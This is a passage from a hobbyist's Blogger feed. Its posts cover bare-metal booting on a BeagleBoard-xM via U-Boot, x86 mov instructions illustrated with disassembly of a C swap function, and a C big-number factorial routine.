&lt;b&gt;U-Boot 2014.01-00014-gcc58fc1 (Feb 10 2014 - 16:24:52)&lt;br /&gt;&lt;br /&gt;OMAP3630/3730-GP ES1.1, CPU-OPP2, L3-200MHz, Max CPU Clock 1 Ghz&lt;br /&gt;OMAP3 Beagle board + LPDDR/NAND&lt;br /&gt;I2C:&amp;nbsp;&amp;nbsp; ready&lt;br /&gt;DRAM:&amp;nbsp; 512 MiB&lt;br /&gt;NAND:&amp;nbsp; 0 MiB&lt;br /&gt;MMC:&amp;nbsp;&amp;nbsp; OMAP SD/MMC: 0&lt;br /&gt;*** Warning - readenv() failed, using default environment&lt;br /&gt;&lt;br /&gt;In:&amp;nbsp;&amp;nbsp;&amp;nbsp; serial&lt;br /&gt;Out:&amp;nbsp;&amp;nbsp; serial&lt;br /&gt;Err:&amp;nbsp;&amp;nbsp; serial&lt;br /&gt;Beagle xM Rev A/B&lt;br /&gt;No EEPROM on expansion board&lt;br /&gt;No EEPROM on expansion board&lt;br /&gt;Die ID #692000019ff80000015eeaa10201402e&lt;br /&gt;Net:&amp;nbsp;&amp;nbsp; usb_ether&lt;br /&gt;Hit any key to stop autoboot:&amp;nbsp; 0 &lt;br /&gt;OMAP3 beagleboard.org # &lt;span style=&quot;color: red;&quot;&gt;fatload mmc 0:1 0x80300000 boot.bin&lt;/span&gt;&lt;br /&gt;reading boot.bin&lt;br /&gt;68 bytes read in 4 ms (16.6 KiB/s)&lt;br /&gt;OMAP3 beagleboard.org # &lt;span style=&quot;color: red;&quot;&gt;go 0x80300000&lt;/span&gt;&lt;br /&gt;## Starting application at 0x80300000 ...&lt;br /&gt;&lt;span style=&quot;color: red;&quot;&gt;helloworld&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;br /&gt;
原始碼下載:&lt;br /&gt;
&lt;a href=&quot;https://github.com/tzuCarlos/v1OS.git&quot;&gt;https://github.com/tzuCarlos/v1OS.git&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Reference:&lt;br /&gt;
李無言, 一步步寫嵌入式操作系統︰ARM編程的方法與實踐,.&lt;br /&gt;
http://www.books.com.tw/products/CN10720115 &lt;br /&gt;
http://stackoverflow.com/questions/6870712/beagleboard-bare-metal-programming &lt;br /&gt;
http://wiki.osdev.org/ARM_Beagleboard</content><link rel='replies' type='application/atom+xml' href='http://karosesblog.blogspot.com/feeds/4439809431989760814/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1915733427630575711/4439809431989760814' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1915733427630575711/posts/default/4439809431989760814'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1915733427630575711/posts/default/4439809431989760814'/><link rel='alternate' type='text/html' href='http://karosesblog.blogspot.com/2014/08/os-micro-kernel-develop-on-beagleboard.html' title='自己動手做OS, micro kernel develop on Beagleboard-XM(ARMv7) lab1'/><author><name>karose</name><uri>http://www.blogger.com/profile/07198323052783477256</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1915733427630575711.post-5594876567633266334</id><published>2014-08-08T00:17:00.000+08:00</published><updated>2016-12-27T09:24:17.496+08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="OSDev"/><title type='text'>Assembly - moving data 組合語言，移動資料</title><content type='html'>從記憶體中讀資料&lt;br /&gt;
load date from memory into register&lt;br /&gt;
把暫存器中存資料存進記憶體&lt;br /&gt;
store register data into memory&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhY78Nr4bs_rI80ZunJ_kvpeunx7feuYyPbGGP0p7FgW5GKrJctvRMSM470MXGEBjMGQJPnxh4qfc2j19DTZHrqwcK4GjLurMBNSyWdbbpMzlO8J0QiyDFRB8Vz75A-OV5yMnK_ahZlGS4/s1600/isa.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhY78Nr4bs_rI80ZunJ_kvpeunx7feuYyPbGGP0p7FgW5GKrJctvRMSM470MXGEBjMGQJPnxh4qfc2j19DTZHrqwcK4GjLurMBNSyWdbbpMzlO8J0QiyDFRB8Vz75A-OV5yMnK_ahZlGS4/s1600/isa.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Figure 1. integer registes,&amp;nbsp; &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; source:https://www.cs.cmu.edu/~fp/courses/15213-s07/misc/asm64-handout.pdf&lt;br /&gt;
&lt;br /&gt;
mov operand combinations(mov的運算整理)&lt;br /&gt;
mov imm to register, mov $0x11,%eax -&amp;gt; var_a=0x11;&lt;br /&gt;
mov imm to mem, mov $0x39,(%eax) -&amp;gt; *p=0x39; &lt;br /&gt;
mov reg to reg, mov %edx,%eax -&amp;gt; var_a=var_b;&lt;br /&gt;
mov reg to mem, mov %eax,(%edx) -&amp;gt; *p=var_a;&lt;br /&gt;
mov mem to reg, mov (%eax),%eax -&amp;gt; var_a=*p;&lt;br /&gt;
&lt;br /&gt;
*can not do memory to memory transfer in single instruction.&lt;br /&gt;
&lt;br /&gt;
Here is an simple swap code:&lt;br /&gt;
&lt;br /&gt;
void swap(int *xp, int *yp)&lt;br /&gt;
{&lt;br /&gt;
&amp;nbsp;&amp;nbsp; int a=*xp;&lt;br /&gt;
&amp;nbsp;&amp;nbsp; int b=*yp;&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp; *xp=b;&lt;br /&gt;
&amp;nbsp;&amp;nbsp; *yp=a;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
Let&#39;s see how above code done by assembly.&lt;br /&gt;
Variables store in which memory place and registers is assigned by complier.&lt;br /&gt;
讓我們來看上面的程式碼,如何使用組合語言完成,&lt;br /&gt;
變數會放在哪個register對應到哪個memory位址，是由complier決定的。&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
gcc -g -c mov.c -m32 -o mov32&lt;br /&gt;
&lt;br /&gt;
00000000 :&lt;br /&gt;
&amp;nbsp;&amp;nbsp; 0:&amp;nbsp;&amp;nbsp; 55&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; push&amp;nbsp;&amp;nbsp; %ebp&lt;br /&gt;
&amp;nbsp;&amp;nbsp; 1:&amp;nbsp;&amp;nbsp; 89 e5&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; %esp,%ebp&lt;br /&gt;
&amp;nbsp;&amp;nbsp; 3:&amp;nbsp;&amp;nbsp; 83 ec 10&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; sub&amp;nbsp;&amp;nbsp;&amp;nbsp; $0x10,%esp&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;//start-- int a=*xp;&amp;nbsp; &lt;br /&gt;//move Memory[ebp+0x8](xp) to register exa.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;//move memory content(*xp) to register eax&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;//move value(*xp) in eax to Memory[ebp-0x4](&lt;/span&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;variable a)&lt;/span&gt;. &lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&amp;nbsp;&amp;nbsp; 6:&amp;nbsp;&amp;nbsp; 8b 45 08&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x8(%ebp),%eax&lt;br /&gt;&amp;nbsp;&amp;nbsp; 9:&amp;nbsp;&amp;nbsp; 8b 00&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; (%eax),%eax&lt;br /&gt;&amp;nbsp;&amp;nbsp; b:&amp;nbsp;&amp;nbsp; 89 45 fc&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; %eax,-0x4(%ebp)&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;//end int a=*xp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;br /&gt;
&lt;span style=&quot;color: orange;&quot;&gt;//&amp;nbsp; int b=*yp;&lt;br /&gt;// *yp會存在記憶體中ebp+0xC的位址,先把這位址存到eax中&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: orange;&quot;&gt;// 再把exa記憶體中對應的值取出來存到,eax&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: orange;&quot;&gt;//接著把exa的值,存到b變數所在的記憶體ebp-0x8中&lt;br /&gt;&amp;nbsp;&amp;nbsp; e:&amp;nbsp;&amp;nbsp; 8b 45 0c&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; 0xc(%ebp),%eax&lt;br /&gt;&amp;nbsp; 11:&amp;nbsp;&amp;nbsp; 8b 00&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; (%eax),%eax&lt;br /&gt;&amp;nbsp; 13:&amp;nbsp;&amp;nbsp; 89 45 f8&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; %eax,-0x8(%ebp)&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: orange;&quot;&gt;//end &amp;nbsp; int b=*yp;&lt;/span&gt;&lt;br /&gt;
&amp;nbsp; 16:&amp;nbsp;&amp;nbsp; 8b 45 08&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x8(%ebp),%eax&lt;br /&gt;
&amp;nbsp; 19:&amp;nbsp;&amp;nbsp; 8b 55 f8&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; -0x8(%ebp),%edx&lt;br /&gt;
&amp;nbsp; 1c:&amp;nbsp;&amp;nbsp; 89 10&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; %edx,(%eax)&lt;br /&gt;
&amp;nbsp; 1e:&amp;nbsp;&amp;nbsp; 8b 45 0c&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; 0xc(%ebp),%eax&lt;br /&gt;
&amp;nbsp; 21:&amp;nbsp;&amp;nbsp; 8b 55 fc&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; -0x4(%ebp),%edx&lt;br /&gt;
&amp;nbsp; 24:&amp;nbsp;&amp;nbsp; 89 10&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; %edx,(%eax)&lt;br /&gt;
&amp;nbsp; 26:&amp;nbsp;&amp;nbsp; c9&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; leave&lt;br /&gt;
&amp;nbsp; 27:&amp;nbsp;&amp;nbsp; c3&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ret&lt;br /&gt;
&lt;br /&gt;
X86-64&lt;br /&gt;
&amp;nbsp;gcc -g -c mov.c -o mov64&lt;br /&gt;
&lt;br /&gt;
0000000000000000 &lt;swap&gt;:&lt;br /&gt;&amp;nbsp;&amp;nbsp; 0:&amp;nbsp;&amp;nbsp; 55&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; push&amp;nbsp;&amp;nbsp; %rbp&lt;br /&gt;&amp;nbsp;&amp;nbsp; 1:&amp;nbsp;&amp;nbsp; 48 89 e5&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; %rsp,%rbp&lt;br /&gt;&amp;nbsp;&amp;nbsp; 4:&amp;nbsp;&amp;nbsp; 48 89 7d e8&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; %rdi,-0x18(%rbp)&lt;br /&gt;&amp;nbsp;&amp;nbsp; 8:&amp;nbsp;&amp;nbsp; 48 89 75 e0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; %rsi,-0x20(%rbp)&lt;br /&gt;&amp;nbsp;&amp;nbsp; c:&amp;nbsp;&amp;nbsp; 48 8b 45 e8&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; -0x18(%rbp),%rax&lt;br /&gt;&amp;nbsp; 10:&amp;nbsp;&amp;nbsp; 8b 00&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; (%rax),%eax&lt;br /&gt;&amp;nbsp; 12:&amp;nbsp;&amp;nbsp; 89 45 fc&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; %eax,-0x4(%rbp)&lt;br /&gt;&amp;nbsp; 15:&amp;nbsp;&amp;nbsp; 48 8b 45 e0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; -0x20(%rbp),%rax&lt;br /&gt;&amp;nbsp; 19:&amp;nbsp;&amp;nbsp; 8b 00&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; (%rax),%eax&lt;br /&gt;&amp;nbsp; 1b:&amp;nbsp;&amp;nbsp; 89 45 f8&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; %eax,-0x8(%rbp)&lt;br /&gt;&amp;nbsp; 1e:&amp;nbsp;&amp;nbsp; 48 8b 45 e8&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; -0x18(%rbp),%rax&lt;br /&gt;&amp;nbsp; 22:&amp;nbsp;&amp;nbsp; 8b 55 f8&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; -0x8(%rbp),%edx&lt;br /&gt;&amp;nbsp; 25:&amp;nbsp;&amp;nbsp; 89 10&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; %edx,(%rax)&lt;br /&gt;&amp;nbsp; 27:&amp;nbsp;&amp;nbsp; 48 8b 45 e0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; -0x20(%rbp),%rax&lt;br /&gt;&amp;nbsp; 2b:&amp;nbsp;&amp;nbsp; 8b 55 fc&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; -0x4(%rbp),%edx&lt;br /&gt;&amp;nbsp; 2e:&amp;nbsp;&amp;nbsp; 89 10&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; %edx,(%rax)&lt;br /&gt;&amp;nbsp; 30:&amp;nbsp;&amp;nbsp; 5d&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; pop&amp;nbsp;&amp;nbsp;&amp;nbsp; %rbp&lt;br /&gt;&amp;nbsp; 31:&amp;nbsp;&amp;nbsp; c3&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; retq&lt;/swap&gt;&lt;br /&gt;
&lt;swap&gt;&lt;swap&gt;&lt;br /&gt;&lt;/swap&gt;&lt;/swap&gt;
&lt;swap&gt;&lt;swap&gt;reference:&lt;/swap&gt;&lt;/swap&gt;&lt;br /&gt;
&lt;swap&gt;&lt;swap&gt;https://www.cs.cmu.edu/~fp/courses/15213-s07/misc/asm64-handout.pdf&lt;/swap&gt;&lt;/swap&gt;</content><link rel='replies' type='application/atom+xml' href='http://karosesblog.blogspot.com/feeds/5594876567633266334/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1915733427630575711/5594876567633266334' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1915733427630575711/posts/default/5594876567633266334'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1915733427630575711/posts/default/5594876567633266334'/><link rel='alternate' type='text/html' href='http://karosesblog.blogspot.com/2014/08/assembly-moving-data-not-finish-yet.html' title='Assembly - moving data 組合語言，移動資料'/><author><name>karose</name><uri>http://www.blogger.com/profile/07198323052783477256</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhY78Nr4bs_rI80ZunJ_kvpeunx7feuYyPbGGP0p7FgW5GKrJctvRMSM470MXGEBjMGQJPnxh4qfc2j19DTZHrqwcK4GjLurMBNSyWdbbpMzlO8J0QiyDFRB8Vz75A-OV5yMnK_ahZlGS4/s72-c/isa.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1915733427630575711.post-18650417527323555</id><published>2014-06-26T16:58:00.002+08:00</published><updated>2016-12-27T09:24:46.780+08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="algorithms"/><title type='text'>C語言，大數運算，階層筆記</title><content type='html'>如果今天要用C語言計算50!，int都是不夠用的。
要解這樣的問題，必需要用陣列。&lt;br /&gt;
&amp;nbsp;32位元系統unsigned int 最大 4,294,967,295 (10位數字)&lt;br /&gt;
64位元  uint64_t 18,446,744,073,709,551,615 (20 位數字)

&lt;br /&gt;
&lt;br /&gt;
&lt;pre class=&quot;brush: c&quot;&gt;/*從array的高位元開始存值*/
void Big_factorial_iteration(int n)
{
  int i=1;

  /*init array*/
  int a[SIZE_A]= {0};
  int tail=SIZE_A-1;

  a[tail]=1;

  for(i=1; i &amp;lt;= n  ; i++)
  {
    int j;
    /* multiply the value */
    for(j= tail ; j &amp;gt;= 0 ; j--)
    {
      a[j]=a[j]*i;
    }
    /*進位留下個位數，其餘的加點前一位 */
    for(j= tail ; j &amp;gt;= 0 ; j--)
    {
      if (a[j] &amp;gt;= 10)
          a[j-1]=a[j-1]+(a[j]/10);
          a[j]=a[j]%10;
    }
  }

  for(i=0; i&amp;lt; SIZE_A ; i++)
  {
     printf(&quot;%d&quot;,a[i]);
  }
  printf(&quot;\n&quot;);

}

int main()
{

  printf(&quot; %d \n&quot;,factorial_recursion(10));
  printf(&quot; %d \n&quot;,factorial_iteration(10));
  Big_factorial_iteration(20); 計算20階層
}

&lt;/pre&gt;
result:
[carlos@localhost c_examples]$ ./factorial_2&lt;br /&gt;
&amp;nbsp;3628800&lt;br /&gt;
&amp;nbsp;3628800&lt;br /&gt;
&amp;nbsp;000000000002432902008176640000&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;原始碼:&lt;br /&gt;
&amp;nbsp; 
&lt;a href=&quot;https://github.com/tzuCarlos/linux_C/blob/master/c_examples/factorial_2.c&quot;&gt;https://github.com/tzuCarlos/linux_C/blob/master/c_examples/factorial_2.c&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
reference source:&lt;br /&gt;
http://www.cs.utexas.edu/users/djimenez/utsa/cs3343/lecture20.html
http://en.wikipedia.org/wiki/Integer_(computer_science)&lt;br /&gt;
http://en.wikipedia.org/wiki/Factorial</content><link rel='replies' type='application/atom+xml' href='http://karosesblog.blogspot.com/feeds/18650417527323555/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1915733427630575711/18650417527323555' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1915733427630575711/posts/default/18650417527323555'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1915733427630575711/posts/default/18650417527323555'/><link rel='alternate' type='text/html' href='http://karosesblog.blogspot.com/2014/06/c.html' title='C語言，大數運算，階層筆記'/><author><name>karose</name><uri>http://www.blogger.com/profile/07198323052783477256</uri><email>noreply@blogger.com</email><gd:image 